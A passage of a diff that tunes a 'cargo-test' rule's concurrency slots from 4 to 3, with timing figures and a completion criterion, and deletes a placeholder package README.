+name  = "cargo-test"
+match = '…'
+slots = 3
+# why: 4 -> 3, 2026-10-29: p90 cores 2.2 over 10 clean runs; run p50 22 -> 21 s at 3.
+```
+
+**Done when** the rule's comment names the before and after figures, and
+every hand-wrapped `--slots` for that rule matches the config or is gone.

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.